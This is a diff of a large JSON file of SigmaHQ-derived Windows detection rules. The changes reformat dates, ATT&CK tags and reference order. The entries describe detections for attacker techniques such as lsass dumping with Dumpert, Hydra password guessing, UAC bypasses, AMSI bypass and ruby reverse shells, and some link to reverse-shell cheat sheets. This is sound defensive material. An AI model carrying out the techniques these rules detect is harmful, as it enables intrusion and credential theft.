"https://www.sans.org/blog/red-team-tactics-hiding-windows-services/", + "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_sdset_hide_sevices.yml" ], "tags": [ "attack.persistence", - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1574.011" ] }, @@ -41966,7 +41973,7 @@ "description": "Detects modification addition to the 'TypedPaths' key in the user or admin registry via the commandline. Which might indicate persistence attempt", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/22", + "creation_date": "2022-08-22", "falsepositive": [ "Unknown" ], @@ -41975,8 +41982,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/dez_/status/1560101453150257154", "https://forensafe.com/blogs/typedpaths.html", + "https://twitter.com/dez_/status/1560101453150257154", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_typed_paths_persistence.yml" ], "tags": [ @@ -41990,7 +41997,7 @@ "description": "Detects the usage of the \"Squirrel.exe\" binary to execute arbitrary processes. This binary is part of multiple Electron based software installations (Slack, Teams, Discord, etc.)\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Karneades / Markus Neis, Jonhnathan Ribeiro, oscd.community", - "creation_date": "2022/06/09", + "creation_date": "2022-06-09", "falsepositive": [ "Expected FP with some Electron based applications such as (1Clipboard, Beaker Browser, Caret, Discord, GitHub Desktop, etc.)" ], @@ -41999,13 +42006,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Squirrel/", - "http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/", "http://www.hexacorn.com/blog/2019/03/30/sqirrel-packages-manager-as-a-lolbin-a-k-a-many-electron-apps-are-lolbins-by-default/", + "http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Squirrel/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_squirrel_proxy_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", "attack.t1218" ] @@ -42026,7 +42033,7 @@ "description": "Detects usage of bitsadmin downloading a file to a suspicious target folder", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/06/28", + "creation_date": "2022-06-28", "falsepositive": [ "Unknown" ], @@ -42035,14 +42042,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", + "https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/", "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", + "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", "https://isc.sans.edu/diary/22264", - "https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_targetfolder.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", "attack.t1197", "attack.s0190", @@ -42072,7 +42079,7 @@ "description": "Detects execution of \"reg.exe\" commands with the \"delete\" flag on services registry key. Often used by attacker to remove AV software services", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/01", + "creation_date": "2022-08-01", "falsepositive": [ "Unlikely" ], @@ -42085,7 +42092,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_delete_services.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -42105,7 +42112,7 @@ "description": "Detects a suspicious child process of userinit", "meta": { "author": "Florian Roth (Nextron Systems), Samir Bousseaden (idea)", - "creation_date": "2019/06/17", + "creation_date": "2019-06-17", "falsepositive": [ "Administrative scripts" ], @@ -42118,7 +42125,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_userinit_child.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1055" ] }, @@ -42138,7 +42145,7 @@ "description": "Detects attackers using tooling with bad opsec defaults.\nE.g. spawning a sacrificial process to inject a capability into the process without taking into account how the process is normally run.\nOne trivial example of this is using rundll32.exe without arguments as a sacrificial process (default in CS, now highlighted by c2lint), running WerFault without arguments (Kraken - credit am0nsec), and other examples.\n", "meta": { "author": "Oleg Kolesnikov @securonix invrep_de, oscd.community, Florian Roth (Nextron Systems), Christian Burkard (Nextron Systems)", - "creation_date": "2020/10/23", + "creation_date": "2020-10-23", "falsepositive": [ "Unlikely" ], @@ -42147,17 +42154,17 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/regsvr32", "https://blog.malwarebytes.com/malwarebytes-news/2020/10/kraken-attack-abuses-wer-service/", + "https://twitter.com/CyberRaiju/status/1251492025678983169", "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32", - "https://learn.microsoft.com/en-us/dotnet/framework/tools/regasm-exe-assembly-registration-tool", "https://learn.microsoft.com/en-us/dotnet/framework/tools/regsvcs-exe-net-services-installation-tool", + "https://learn.microsoft.com/en-us/dotnet/framework/tools/regasm-exe-assembly-registration-tool", "https://www.cobaltstrike.com/help-opsec", - "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/regsvr32", - "https://twitter.com/CyberRaiju/status/1251492025678983169", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_bad_opsec_sacrificial_processes.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.011" ] }, @@ -42177,7 +42184,7 @@ "description": "Detects the execution GMER tool based on image and hash fields.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/10/05", + "creation_date": "2022-10-05", "falsepositive": [ "Unlikely" ], @@ -42190,7 +42197,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_gmer.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "9082ff1f-88ab-4678-a3cc-5bcff99fc74d", @@ -42200,7 +42207,7 @@ "description": "Detects suspicious patterns in program names or folders that are often found in malicious samples or hacktools", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/02/11", + "creation_date": "2022-02-11", "falsepositive": [ "Legitimate tools that accidentally match on the searched patterns" ], @@ -42233,7 +42240,7 @@ "description": "ForceV1 asks for information directly from the kernel space. Conhost connects to the console application. High IntegrityLevel means the process is running with elevated privileges, such as an Administrator context.", "meta": { "author": "frack113", - "creation_date": "2022/12/09", + "creation_date": "2022-12-09", "falsepositive": [ "Very Likely, including launching cmd.exe via Run As Administrator" ], @@ -42242,13 +42249,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/", - "https://learn.microsoft.com/en-us/windows/win32/secauthz/mandatory-integrity-control", "https://cybercryptosec.medium.com/covid-19-cyber-infection-c615ead7c29", + "https://learn.microsoft.com/en-us/windows/win32/secauthz/mandatory-integrity-control", + "https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_conhost_legacy_option.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1202" ] }, @@ -42268,7 +42275,7 @@ "description": "Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union)", "meta": { "author": "frack113", - "creation_date": "2022/01/09", + "creation_date": "2022-01-09", "falsepositive": [ "Unknown" ], @@ -42281,7 +42288,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_appcmd_http_logging.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.002" ] }, @@ -42301,7 +42308,7 @@ "description": "Detects uncommon or suspicious child processes of \"eventvwr.exe\" which might indicate a UAC bypass attempt", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/03/19", + "creation_date": "2017-03-19", "falsepositive": [ "Unknown" ], @@ -42310,13 +42317,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.hybrid-analysis.com/sample/e122bc8bf291f15cab182a5d2d27b8db1e7019e4e96bb5cdbd1dfe7446f3f51f?environmentId=100", "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", + "https://www.hybrid-analysis.com/sample/e122bc8bf291f15cab182a5d2d27b8db1e7019e4e96bb5cdbd1dfe7446f3f51f?environmentId=100", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_eventvwr_susp_child_process.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1548.002", "car.2019-04-001" ] @@ -42337,7 +42344,7 @@ "description": "Detect indirect command execution via Program Compatibility Assistant pcwrun.exe", "meta": { "author": "A. Sungurov , oscd.community", - "creation_date": "2020/10/12", + "creation_date": "2020-10-12", "falsepositive": [ "Need to use extra processing with 'unique_count' / 'filter' to focus on outliers as opposed to commonly seen artifacts", "Legit usage of scripts" @@ -42352,7 +42359,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pcwrun.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218", "attack.execution" ] @@ -42373,7 +42380,7 @@ "description": "Detects Obfuscated use of Clip.exe to execute PowerShell", "meta": { "author": "Jonathan Cheong, oscd.community", - "creation_date": "2020/10/13", + "creation_date": "2020-10-13", "falsepositive": [ "Unknown" ], @@ -42386,7 +42393,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_clip.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -42415,7 +42422,7 @@ "description": "Detects suspicious Windows Error Reporting manager (wermgr.exe) execution location.", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/10/14", + "creation_date": "2022-10-14", "falsepositive": [ "Unknown" ], @@ -42424,9 +42431,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/binderlabs/DirCreate2System", "https://www.echotrail.io/insights/search/wermgr.exe", "https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html", + "https://github.com/binderlabs/DirCreate2System", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wermgr_susp_exec_location.yml" ], "tags": [ @@ -42440,7 +42447,7 @@ "description": "Detects potentially suspicious file download from file sharing domains using curl.exe", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/05", + "creation_date": "2023-05-05", "falsepositive": [ "Unknown" ], @@ -42449,8 +42456,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://labs.withsecure.com/publications/fin7-target-veeam-servers", "https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7VEEAM/iocs.csv", + "https://labs.withsecure.com/publications/fin7-target-veeam-servers", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_download_susp_file_sharing_domains.yml" ], "tags": [ @@ -42464,7 +42471,7 @@ "description": "Detects the use of Dumpert process dumper, which dumps the lsass.exe process memory", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2020/02/04", + "creation_date": "2020-02-04", "falsepositive": [ "Very unlikely" ], @@ -42473,12 +42480,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/outflanknl/Dumpert", "https://unit42.paloaltonetworks.com/actors-still-exploiting-sharepoint-vulnerability/", + "https://github.com/outflanknl/Dumpert", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_dumpert.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001" ] }, @@ -42498,7 +42505,7 @@ "description": "Detects command line parameters used by Hydra password guessing hack tool", "meta": { "author": "Vasiliy Burov", - "creation_date": "2020/10/05", + "creation_date": "2020-10-05", "falsepositive": [ "Software that uses the caret encased keywords PASS and USER in its command line" ], @@ -42511,7 +42518,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_hydra.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1110", "attack.t1110.001" ] @@ -42539,7 +42546,7 @@ "description": "Detects wscript/cscript executions of scripts located in user directories", "meta": { "author": "Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2019/01/16", + "creation_date": "2019-01-16", "falsepositive": [ "Some installers might generate a similar behavior. An initial baseline is required" ], @@ -42548,8 +42555,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/", "https://redcanary.com/blog/gootloader/", + "https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wscript_cscript_dropper.yml" ], "tags": [ @@ -42581,7 +42588,7 @@ "description": "Executes SCT script using scrobj.dll from a command in entered into a specially prepared INF file.", "meta": { "author": "frack113", - "creation_date": "2021/07/13", + "creation_date": "2021-07-13", "falsepositive": [ "Unknown" ], @@ -42595,7 +42602,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_infdefaultinstall_execute_sct_scripts.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -42615,7 +42622,7 @@ "description": "Detects unusual parent or children of the ImagingDevices.exe (Windows Contacts) process as seen being used with Bumblebee activity", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/27", + "creation_date": "2022-09-27", "falsepositive": [ "Unknown" ], @@ -42628,7 +42635,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_imagingdevices_unusual_parents.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution" ] }, @@ -42639,7 +42646,7 @@ "description": "Detects the execution of netsh with the \"trace\" flag in order to start a network capture", "meta": { "author": "Kutepov Anton, oscd.community", - "creation_date": "2019/10/24", + "creation_date": "2019-10-24", "falsepositive": [ "Legitimate administration activity" ], @@ -42654,7 +42661,7 @@ ], "tags": [ "attack.discovery", - "attack.credential_access", + "attack.credential-access", "attack.t1040" ] }, @@ -42674,7 +42681,7 @@ "description": "Detects execution of ruby using the \"-e\" flag. This is could be used as a way to launch a reverse shell or execute live ruby code.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/02", + "creation_date": "2023-01-02", "falsepositive": [ "Unknown" ], @@ -42683,8 +42690,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.revshells.com/", "https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet", + "https://www.revshells.com/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ruby_inline_command_execution.yml" ], "tags": [ @@ -42708,7 +42715,7 @@ "description": "Detects suspicious process related to rasdial.exe", "meta": { "author": "juju4", - "creation_date": "2019/01/16", + "creation_date": "2019-01-16", "falsepositive": [ "False positives depend on scripts and administrative tools used in the monitored environment" ], @@ -42721,7 +42728,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rasdial_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", "attack.t1059" ] @@ -42742,7 +42749,7 @@ "description": "Detects whether the image specified in a process creation event doesn't refer to an \".exe\" (or other known executable extension) file. This can be caused by process ghosting or other unorthodox methods to start a process.\nThis rule might require some initial baselining to align with some third party tooling in the user environment.\n", "meta": { "author": "Max Altgelt (Nextron Systems)", - "creation_date": "2021/12/09", + "creation_date": "2021-12-09", "falsepositive": [ "Unknown" ], @@ -42755,7 +42762,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_non_exe_image.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "c09dad97-1c78-4f71-b127-7edb2b8e491a", @@ -42765,7 +42772,7 @@ "description": "Detects potential RDP connection via Mstsc using a local \".rdp\" file", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Christopher Peacock @securepeacock", - "creation_date": "2023/04/18", + "creation_date": "2023-04-18", "falsepositive": [ "Likely with legitimate usage of \".rdp\" files" ], @@ -42774,12 +42781,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blog.thickmints.dev/mintsights/detecting-rogue-rdp/", + "https://web.archive.org/web/20230726144748/https://blog.thickmints.dev/mintsights/detecting-rogue-rdp/", "https://www.blackhillsinfosec.com/rogue-rdp-revisiting-initial-access-methods/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mstsc_run_local_rdp_file.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1219" ] }, @@ -42799,7 +42806,7 @@ "description": "Detects command line containing reference to the \"::$index_allocation\" stream, which can be used as a technique to prevent access to folders or files from tooling such as \"explorer.exe\" or \"powershell.exe\"\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Scoubi (@ScoubiMtl)", - "creation_date": "2023/10/09", + "creation_date": "2023-10-09", "falsepositive": [ "Unlikely" ], @@ -42808,15 +42815,15 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://sec-consult.com/blog/detail/pentesters-windows-ntfs-tricks-collection/", - "https://github.com/redcanaryco/atomic-red-team/blob/5c3b23002d2bbede3c07e7307165fc2a235a427d/atomics/T1564.004/T1564.004.md#atomic-test-5---create-hidden-directory-via-index_allocation", "https://twitter.com/pfiatde/status/1681977680688738305", "https://soroush.me/blog/2010/12/a-dotty-salty-directory-a-secret-place-in-ntfs-for-secret-files/", + "https://github.com/redcanaryco/atomic-red-team/blob/5c3b23002d2bbede3c07e7307165fc2a235a427d/atomics/T1564.004/T1564.004.md#atomic-test-5---create-hidden-directory-via-index_allocation", + "https://sec-consult.com/blog/detail/pentesters-windows-ntfs-tricks-collection/", "https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/c54dec26-1551-4d3a-a0ea-4fa40f848eb3", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_hidden_dir_index_allocation.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1564.004" ] }, @@ -42836,7 +42843,7 @@ "description": "Detects the execution of clip.exe in order to copy data to the clipboard. Adversaries may collect data stored in the clipboard from users copying information within or between applications.", "meta": { "author": "frack113", - "creation_date": "2021/07/27", + "creation_date": "2021-07-27", "falsepositive": [ "Unknown" ], @@ -42845,8 +42852,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/clip", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1115/T1115.md", + "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/clip", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_clip_execution.yml" ], "tags": [ @@ -42870,7 +42877,7 @@ "description": "Download and compress a remote file and store it in a cab file on local machine.", "meta": { "author": "frack113", - "creation_date": "2021/11/26", + "creation_date": "2021-11-26", "falsepositive": [ "Unknown" ], @@ -42883,7 +42890,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_diantz_remote_cab.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -42903,7 +42910,7 @@ "description": "Detects execution of chromium based browser in headless mode using the \"dump-dom\" command line to download files", "meta": { "author": "Sreeman, Florian Roth (Nextron Systems)", - "creation_date": "2022/01/04", + "creation_date": "2022-01-04", "falsepositive": [ "Unknown" ], @@ -42917,7 +42924,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_chromium_headless_file_download.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -42937,7 +42944,7 @@ "description": "Detects the execution of the PoC that can be used to exploit Sysmon CVE-2022-41120", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/12/04", + "creation_date": "2022-12-04", "falsepositive": [ "Unlikely" ], @@ -42950,9 +42957,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sysmoneop.yml" ], "tags": [ - "cve.2022.41120", + "cve.2022-41120", "attack.t1068", - "attack.privilege_escalation" + "attack.privilege-escalation" ] }, "related": [ @@ -42971,7 +42978,7 @@ "description": "Detects Microsoft Visual Studio vsls-agent.exe lolbin execution with a suspicious library load using the --agentExtensionPath parameter", "meta": { "author": "bohops", - "creation_date": "2022/10/30", + "creation_date": "2022-10-30", "falsepositive": [ "False positives depend on custom use of vsls-agent.exe" ], @@ -42984,7 +42991,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vslsagent_agentextensionpath_load.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -43004,7 +43011,7 @@ "description": "Detects execution of the \"VMwareToolBoxCmd.exe\" with the \"script\" and \"set\" flag to setup a specific script that's located in a potentially suspicious location to run for a specific VM state", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/06/14", + "creation_date": "2023-06-14", "falsepositive": [ "Unknown" ], @@ -43038,7 +43045,7 @@ "description": "Detects use of WSReset.exe to bypass User Account Control (UAC). Adversaries use this technique to execute privileged processes.", "meta": { "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community, Florian Roth", - "creation_date": "2019/10/24", + "creation_date": "2019-10-24", "falsepositive": [ "Unknown sub processes of Wsreset.exe" ], @@ -43047,15 +43054,15 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.activecyber.us/activelabs/windows-uac-bypass", "https://lolbas-project.github.io/lolbas/Binaries/Wsreset/", - "https://twitter.com/ReaQta/status/1222548288731217921", "https://eqllib.readthedocs.io/en/latest/analytics/532b5ed4-7930-11e9-8f5c-d46d6d62a49e.html", + "https://www.activecyber.us/activelabs/windows-uac-bypass", + "https://twitter.com/ReaQta/status/1222548288731217921", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wsreset.yml" ], "tags": [ - "attack.privilege_escalation", - "attack.defense_evasion", + "attack.privilege-escalation", + "attack.defense-evasion", "attack.t1548.002" ] }, @@ -43075,7 +43082,7 @@ "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities", "meta": { "author": "frack113", - "creation_date": "2021/07/27", + "creation_date": "2021-07-27", "falsepositive": [ "Unknown" ], @@ -43108,7 +43115,7 @@ "description": "Detects suspicious usage of the ShellExec_RunDLL function to launch other commands as seen in the the raspberry-robin attack", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/01", + "creation_date": "2022-09-01", "falsepositive": [ "Unknown" ], @@ -43117,13 +43124,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", "https://redcanary.com/blog/raspberry-robin/", + "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_susp_shellexec_execution.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "d87bd452-6da1-456e-8155-7dc988157b7d", @@ -43133,7 +43140,7 @@ "description": "Detects PowerShell script execution from Alternate Data Stream (ADS)", "meta": { "author": "Sergey Soldatov, Kaspersky Lab, oscd.community", - "creation_date": "2019/10/30", + "creation_date": "2019-10-30", "falsepositive": [ "Unknown" ], @@ -43146,7 +43153,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_run_script_from_ads.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1564.004" ] }, @@ -43166,7 +43173,7 @@ "description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services.\nAdversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start.\nWindows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services\n", "meta": { "author": "frack113", - "creation_date": "2021/12/30", + "creation_date": "2021-12-30", "falsepositive": [ "Unknown" ], @@ -43199,7 +43206,7 @@ "description": "Detects usage of special strings/null bits in order to potentially bypass AMSI functionalities", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/04", + "creation_date": "2023-01-04", "falsepositive": [ "Unknown" ], @@ -43212,7 +43219,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_amsi_null_bits_bypass.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -43232,7 +43239,7 @@ "description": "Detects the pattern of UAC Bypass using Event Viewer RecentViews", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/11/22", + "creation_date": "2022-11-22", "falsepositive": [ "Unknown" ], @@ -43241,13 +43248,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/orange_8361/status/1518970259868626944", "https://lolbas-project.github.io/lolbas/Binaries/Eventvwr/#execute", + "https://twitter.com/orange_8361/status/1518970259868626944", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_eventvwr_recentviews.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation" + "attack.defense-evasion", + "attack.privilege-escalation" ] }, "uuid": "30fc8de7-d833-40c4-96b6-28319fbc4f6c", @@ -43257,7 +43264,7 @@ "description": "Detects the execution of a renamed \"NirCmd.exe\" binary based on the PE metadata fields.", "meta": { "author": "X__Junior (Nextron Systems)", - "creation_date": "2024/03/11", + "creation_date": "2024-03-11", "falsepositive": [ "Unknown" ], @@ -43266,14 +43273,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.nirsoft.net/utils/nircmd.html", "https://www.microsoft.com/en-us/security/blog/2024/01/17/new-ttps-observed-in-mint-sandstorm-campaign-targeting-high-profile-individuals-at-universities-and-research-orgs/", + "https://www.nirsoft.net/utils/nircmd.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_nircmd.yml" ], "tags": [ "attack.execution", "attack.t1059", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1202" ] }, @@ -43300,7 +43307,7 @@ "description": "Adversaries may modify system firewalls in order to bypass controls limiting network usage", "meta": { "author": "frack113", - "creation_date": "2022/01/09", + "creation_date": "2022-01-09", "falsepositive": [ "Legitimate administration activity" ], @@ -43314,7 +43321,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_enable_group_rule.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.004" ] }, @@ -43334,7 +43341,7 @@ "description": "Detects the use of SharpEvtHook, a tool that tampers with the Windows event logs", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/09/07", + "creation_date": "2022-09-07", "falsepositive": [ "Unknown" ], @@ -43347,7 +43354,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharpevtmute.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.002" ] }, @@ -43367,7 +43374,7 @@ "description": "Detects suspicious process related to rundll32 based on command line that includes a *.sys file as seen being used by UNC2452", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/03/05", + "creation_date": "2021-03-05", "falsepositive": [ "Unknown" ], @@ -43380,7 +43387,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_sys.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.011" ] }, @@ -43400,7 +43407,7 @@ "description": "Detects ADDInternals Cmdlet execution. A tool for administering Azure AD and Office 365. Which can be abused by threat actors to attack Azure AD or Office 365.", "meta": { "author": "Austin Songer (@austinsonger), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/12/23", + "creation_date": "2022-12-23", "falsepositive": [ 